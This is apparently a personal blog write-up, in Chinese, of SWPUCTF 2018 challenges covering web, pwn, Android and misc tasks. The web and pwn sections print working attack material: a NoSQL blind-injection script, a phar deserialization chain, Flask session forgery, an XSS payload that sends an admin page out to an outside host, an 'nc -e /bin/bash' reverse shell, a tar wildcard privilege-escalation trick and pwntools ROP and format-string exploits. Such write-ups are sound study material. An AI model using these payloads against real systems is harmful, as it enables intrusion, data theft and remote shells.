kir[A]'s 小黑屋

swpuctf2018

字数统计: 3.6k阅读时长: 18 min
2018/12/20 Share

swpu2018

年底忙成狗,没什么时间,花了两个晚上的时间,做了一下简单的题目,还有些题目后面继续补。

web

用优惠码 买个 X ?

注册一个账号,然后登陆,会弹出一个15位优惠码,在页面输入提醒优惠码为24位,扫描后发现源码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
setcookie('Auth', $auth);
}
//support
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
?>

根据源码提示,需要爆破得到随机种子,然后生成24位优惠码,爆破脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
for($x=0;$x<999999999;$x++){
mt_srand($x);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
if($auth == '4d1Sb0qX2fy1FBV'){
echo $x . "\n";
die();
}
}

这个效率太低,可以用php_mt_seed,首先将字符串还原为数字

1
2
3
4
5
6
7
8
9
10
11
12
13
str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
s = 'Lnnon15igXPrvif'
num = []
for i in range(15):
if (i<=(15/2)):
num.append(str_rand.index(s[i]))
else:
num.append(str_rand[::-1].index(s[i])+1)

cmd = './php_mt_seed '
for i in num[:]:
cmd += '{} {} 0 61 '.format(i,i)
print cmd
1
2
3
4
5
6
7
8
9
10
# kira @ k1r4 in ~/pwn/swpu/php_mt_seed-4.0 [10:10:38] C:130
$ ./php_mt_seed 47 47 0 61 13 13 0 61 13 13 0 61 14 14 0 61 13 13 0 61 27 27 0 61 31 31 0 61
Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 511.8 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x12000000 - 0x13ffffff, speed 40.4 Mseeds/s
seed = 0x13af8864 = 330270820 (PHP 7.1.0+)
Found 1, trying 0xfe000000 - 0xffffffff, speed 40.3 Mseeds/s
Found 1

然后根据随机数生成24位的验证码,即可到达命令执行的地方,虽然过滤了不少字符,不过很容易绕过

最后payload:

1
ip=0.0.0.0%0aca\t /fl\ag

SimplePHP

file.php可以看查看文件,得到php文件的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

利用phar触发反序列化,触发过程如下:

  1. file_exists($file)触发phar反序列化
  2. 触发class C1e4r__destruct(),而函数中的echo $this->test;触发class Show中的__toString()
  3. $content = $this->str['str']->source;由于读取不可访问属性的值时,class Test__get() 会被调用。
  4. 最终调用$this->get($key)获取$this->params['source']的源码
1
2
3
4
5
6
7
8
9
10
11
$a = new Test();
$a->params['source']= '/var/www/html/f1ag.php';
$b = new Show();
$b->str['str'] = $a;
$f = new C1e4r($b);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub, 增加gif文件头,伪造文件类型
$phar->setMetadata($f); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

Injection ???

扫描发现info.php发现是使用mangodb,那么可能就是Nosql注入

自动识别验证码+盲注脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -*- coding: utf-8 -*-
import pytesseract
from PIL import Image
import requests
import string

s = requests.session()
def getvcode():
url1 = 'http://123.206.213.66:45678/vertify.php'
pic = s.get(url1)
p = open('123.png','wb')
p.write(pic.content)
p.close()
im = Image.open('123.png')
vcode = pytesseract.image_to_string(im)
return vcode

url2 = 'http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^{}&vertify={}'
pwd = ''
# 'username or password incorrect!'
# 'wrong CAPTCHA!'
# 'Nice!But it is not the real passwd'

for _ in range(5):
for x in string.lowercase:
while 1:
vcode = getvcode()
check = s.get(url2.format(pwd+x,vcode))
print check.content
if 'wrong CAPTCHA!' in check.content:
continue
break
if 'Nice!' in check.content:
pwd += x
break
print pwd

皇家线上赌场

打开页面发现了弹窗,查看网页源码,发现了一个文件包含<script src="/static?file=test.js"></script>

测试发现可以成功读取http://107.167.188.241/static?file=/etc/passwd,题目提示是python3.5写的,需要找到web目录。

view-source:http://107.167.188.241/source发现了目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[root@localhost]# tree web
web/
├── app
│ ├── forms.py
│ ├── __init__.py
│ ├── models.py
│ ├── static
│ ├── templates
│ ├── utils.py
│ └── views.py
├── req.txt
├── run.py
├── server.log
├── start.sh
└── uwsgi.ini
[root@localhost]# cat views.py.bak
filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
return abort(403)
filename = os.path.join('app/static', filename)

/proc/self/cmdline 可以看到启动命令

1
uwsgi --uid=ctf uwsgi.ini

/proc/mounts 或者 /proc/self/maps 可以看到工作目录

1
/home/ctf/web_assli3fasdf

由于程序代码过滤<pre> if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1: return abort(404) </pre>,不能直接读,不过用可以通过/proc/self/cwd绕过。

一个符号连接, 指向进程当前的工作目录. 例如, 要找出进程 20 的 cwd, 可以:cd /proc/20/cwd; /bin/pwd

view-source:http://107.167.188.241/static?file=/proc/self/cwd/app/views.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def register_views(app):
@app.before_request
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
now = int(time())
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0

@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

view-source:http://107.167.188.241/static?file=/proc/self/cwd/app/__init__.py

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db

def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app

有了secret_key,首先想到是伪造admin的session

1
2
3
4
5
6
7
X:\tmp
> py -3 session_cookie_manager.py decode -s "9f516783b42730b7888008dd5c15fe66" -c ".eJwVzEEKgDAMBdG7_LVIKtpKLyNpmoCoFaquxLurs3qruZF45SKK6OirpQayX-VE_HVUm8590YKIToN3nklzkkTkLAw0ZjHz1MsYNJEO1mWPBtehtfD2TbHMlfG8O_kfGQ.XBscbw.pI4VrBhi7bb3o_V2_spFrWgysI0"
{'balance': 10000.0, 'count': 0, 'csrf_token': '2e7616a0edbcb001f7508dcff604c87eb0e5f2d6', 'username': 'kira'}

X:\tmp
> py -3 session_cookie_manager.py encode -s "9f516783b42730b7888008dd5c15fe66" -t "{'balance': 1000000.0, 'count': 1000000.0, 'csrf_token': '2e7616a0edbcb001f7508dcff604c87eb0e5f2d6', 'username': 'admin'}"
.eJxVzDsKw0AMRdG9vHoIGpP54M0EjUaC4FgGf6qQvdu4yy1Pcb9o_GEXxRjp7kEBshy-_8u22mtfJnWMGLTkmJm0N2lE0Uqi2sUs01Nq0UaabOgZAcemq_N87cF9fjt-J0JqIVo.XBsiEA.6lDWb7AENFiwelgWZW3hxz4SoFw

成功得到admin的session后,可以进入getflag(),留意这里有一个格式化字符串的漏洞,如何构造python继承链去读取g.flag

1
2
3
4
5
6
7
8
9
10
@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

根据提示,user有save方法,一步一步往下找

1
2
3
4
"__class__.save":"<function User.save at 0x7f1b740ee048>"
"__class__.save.__globals__":"{..., 'db': <SQLAlchemy engine=sqlite:////tmp/test.db>, ..."
"__class__.save.__globals__[db]":"<SQLAlchemy engine=sqlite:////tmp/test.db>"
"__class__.save.__globals__[db].__class__.__init__.__globals__":"{..., 'current_app': <Flask 'app'>, ...}"

留意到有修饰器@app.before_request

1
"__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__":"{..., 'g': <flask.g of 'app'>, ...}"

最终payload:

1
{"__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag":"swpuctf{tHl$_15_4_f14G}", "hash": "8bce7edc292f3211b97bc0a981c87135f0329681468bb6a3b487aaa23d8473fd"}

有趣的邮箱

在验证邮箱的页面源码有提示,同时有一个后台管理的页面,不过只允许localhost访问,那么很明显就是通过xss访问管理员的页面了

1
2
3
4
5
6
7
8
9
10
<?php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
}else{
echo "等待管理员自动审核";
echo $email;
}
}

首先需要绕过邮箱的过滤,可以直接用"<script/src=//x.x.x.x/123.js></script>"@qq.com绕过

先打一发admin的cookie:email="<script/src=//x.x.x.x:50004></script>"@qq.com

1
2
3
4
5
6
7
Referer: http://localhost:6324/admin/admin.php
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Connection: Keep-Alive
Host: x.x.x.x:50004
Accept: */*
Accept-Language: en-US,*
Accept-Encoding: gzip, deflate

然而并没有cookie,不过发现admin的页面链接,尝试读一下admin.php的页面源码,用xssrf-leak的脚本也可以

1
2
3
4
5
var a = new XMLHttpRequest();
a.open('GET', 'http://localhost:6324/admin/admin.php', false);
a.send(null);
b = a.responseText;
location.href = 'http://x.x.x.x:50004/?f=' + escape(b);

email="<script/src=//x.x.x.x:50005/evil></script>"@qq.com

返回结果如下,可以发现一个可以命令执行的链接

1
2
118.89.56.208 - - [20/Dec/2018 16:50:22] "GET / HTTP/1.1" 200 -
{'f': u'<br /><a href="admin/a0a.php?cmd=whoami">'}

反弹shell进行操作方便点

1
2
3
4
5
var a = new XMLHttpRequest();
a.open('GET', 'http://localhost:6324/admin/a0a.php?cmd=nc+-e+%2fbin%2fbash+x.x.x.x+20007', false);
a.send(null);
b = a.responseText;
location.href = 'http://x.x.x.x:50004/?f=' + escape(b);

在根目录发现flag,但是没有权限读

1
2
www-data@VM-48-87-debian:/$ ls -al
-r-------- 1 flag flag 36 Dec 18 18:14 flag

在web目录发现一个奇怪的文件夹

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@VM-48-87-debian:~/html/4f0a5ead5aef34138fcbf8cf00029e7b$ ls -al
ls -al
total 72
drwxr-xr-x 6 root root 4096 Dec 19 19:03 .
drwxr-xr-x 4 root root 4096 Dec 20 10:07 ..
-rw-r--r-- 1 root root 320 Dec 18 17:14 backup.php
drwxr-xr-x 2 root root 4096 Dec 13 19:25 css
drwxr-x--- 5 flag nginx 36864 Dec 20 19:59 files
drw-r--r-- 2 root root 4096 Dec 13 19:25 fonts
-rw-r--r-- 1 root root 4714 Dec 16 20:17 index.html
drwxr-xr-x 2 root root 4096 Dec 13 19:25 js
-rw------- 1 root root 0 Dec 19 19:03 nohup.out
-r--r----- 1 flag flag 707 Dec 18 17:13 upload.php

查看backup.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include("upload.php");
echo "上传目录:" . $upload_dir . "<br />";
$sys = "tar -czf z.tar.gz *";
chdir($upload_dir);
system($sys);
if(file_exists('z.tar.gz')){
echo "上传目录下的所有文件备份成功!<br />";
echo "备份文件名: z.tar.gz";
}else{
echo "未上传文件,无法备份!";
}
?>

参考:利用通配符进行Linux本地提权

根据文章的操作方法,利用上传分别上传3个文件,文件为

1
2
3
--checkpoint=1
--checkpoint-action=exec=sh exp.sh
exp.sh #内容放需要执行的命令 cat /flag

上传完毕后进行一次备份即可执行命令。

pwn

exploit_1

看完伪代码,第一反应是利用C++异常处理的机制绕过canary,然而由于格式化字符串限制太少,导致这题出现各种非预期解。

预期解

首先用格式化字符串泄露heap地址和libc地址,然后输入-9223372036854775808绕过长度限制进行栈溢出,之后利用C++异常处理的机制绕过canary,并且将栈迁移到堆中进行ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p.sendlineafter('name:\n','%7$p|%12$p')
p.recvuntil('Hello ')
heap_addr = int(p.recvuntil('|',drop=True),16)
libc.address = int(p.recvuntil('please',drop=True)[-14:],16) - libc.sym['_IO_2_1_stdout_']

one_gadget = libc.address + 0x45216
pivot_addr = heap_addr + 0x20
unwind_addr = 0x400EC5

payload = flat('aaaaaaaa',one_gadget).ljust(0x410,'\x00')
payload += flat(pivot_addr,unwind_addr)
p.sendlineafter('motto:\n',"-9223372036854775808")
p.sendlineafter('motto:\n',payload)
p.interactive()

非预期1

这个方法最简单,既然有格式化字符串,直接泄露canary好了,还绕过啥,溢出直接组ROP

1
2
3
4
5
6
7
8
9
p.sendlineafter('name:\n','%15$p|%12$p') # Hello 0x7f4de5bb4620please 
p.recvuntil('Hello ')
canary = int(p.recvuntil('|',drop=True),16)
libc.address = int(p.recvuntil('please',drop=True)[-14:],16) - libc.sym['_IO_2_1_stdout_']

payload = 'a'*0x408 + p64(canary) + p64(0xdeadbeef) +p64(0x400fa3)+ p64(libc.search('/bin/sh').next())+p64(libc.sym['system'])
p.sendlineafter('motto:\n',"-9223372036854775808")
p.sendlineafter('motto:\n',payload)
p.interactive()

非预期2

这个方法只需用到格式字符串,连栈溢出都不需要,万一不知-9223372036854775808这个技巧,这个方法也是很好用的,就是麻烦点。思路就是修改free的got表为main函数,然后就是一个死循环,可以为所欲为,之后重新改回正确的free。可以修改free_hook来getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def skip():
p.sendlineafter('motto:\n',"2")
p.sendlineafter('motto:\n',"2")

p.sendlineafter('name:\n','%147c%11$hhn%123c%12$hhn'+p64(elf.got['free'])+p64(elf.got['free']+1))
skip()

p.sendlineafter('name:\n','%12$p')
libc.address = int(p.recvuntil('please',drop=True)[-14:],16) - libc.sym['_IO_2_1_stdout_']
skip()

one_gadget = libc.address + 0x4526a
free_hook = libc.symbols['__free_hook']

X0 = one_gadget&0x000000ff
X1 = (one_gadget&0x0000ff00)>>8
X2 = (one_gadget&0x00ff0000)>>16
X3 = (one_gadget&0xff000000)>>24
X4 = (one_gadget&0xff00000000)>>32
X5 = (one_gadget&0xff0000000000)>>40

payload = '%{}c%11$hhn%{}c%12$hhn'.format(X0,(X1-X0)&0xff)
payload = payload.ljust(24,'a') + p64(free_hook) + p64(free_hook+1)
p.sendlineafter('name:\n',payload)
skip()

payload = '%{}c%11$hhn%{}c%12$hhn'.format(X2,(X3-X2)&0xff)
payload = payload.ljust(24,'a') + p64(free_hook+2) + p64(free_hook+3)
p.sendlineafter('name:\n',payload)
skip()

payload = '%{}c%11$hhn%{}c%12$hhn'.format(X4,(X5-X4)&0xff)
payload = payload.ljust(24,'a') + p64(free_hook+4) + p64(free_hook+5)
p.sendlineafter('name:\n',payload)
skip()

p.sendlineafter('name:\n','%214c%11$hhn%51c%12$hhn!'+p64(elf.got['free'])+p64(elf.got['free']+1))
skip()

p.interactive()

apk

基础android

apk里面有一个zip文件,其实是个jpg,修改后缀打开

android 2.0

关键算法在so里面,程序将15位输入分成3块,每块在进行一次简单的运算,直接逆一下就行了。

Misc

签到题

  1. 修改分辨率得到一部分flag
  2. 文件末位有另一部分flag

唯有低头,才能出头

举头望明月,低头… ,(看键盘)

1
99 9 9 88 5 66 3 3 666 33 88 3 6 555 9 11 4 33

1
looktheendkeyboard

流量签到

直接搜关键字

广告

各位大佬帮我薅羊毛啊

1
打开支付宝首页搜“575219”领红包,领到大红包的小伙伴赶紧使用哦!

CATALOG
  1. 1. swpu2018
    1. 1.1. web
      1. 1.1.1. 用优惠码 买个 X ?
      2. 1.1.2. SimplePHP
      3. 1.1.3. Injection ???
      4. 1.1.4. 皇家线上赌场
      5. 1.1.5. 有趣的邮箱
    2. 1.2. pwn
      1. 1.2.1. exploit_1
        1. 1.2.1.1. 预期解
        2. 1.2.1.2. 非预期1
        3. 1.2.1.3. 非预期2
    3. 1.3. apk
      1. 1.3.1. 基础android
      2. 1.3.2. android 2.0
    4. 1.4. Misc
      1. 1.4.1. 签到题
      2. 1.4.2. 唯有低头,才能出头
      3. 1.4.3. 流量签到
    5. 1.5. 广告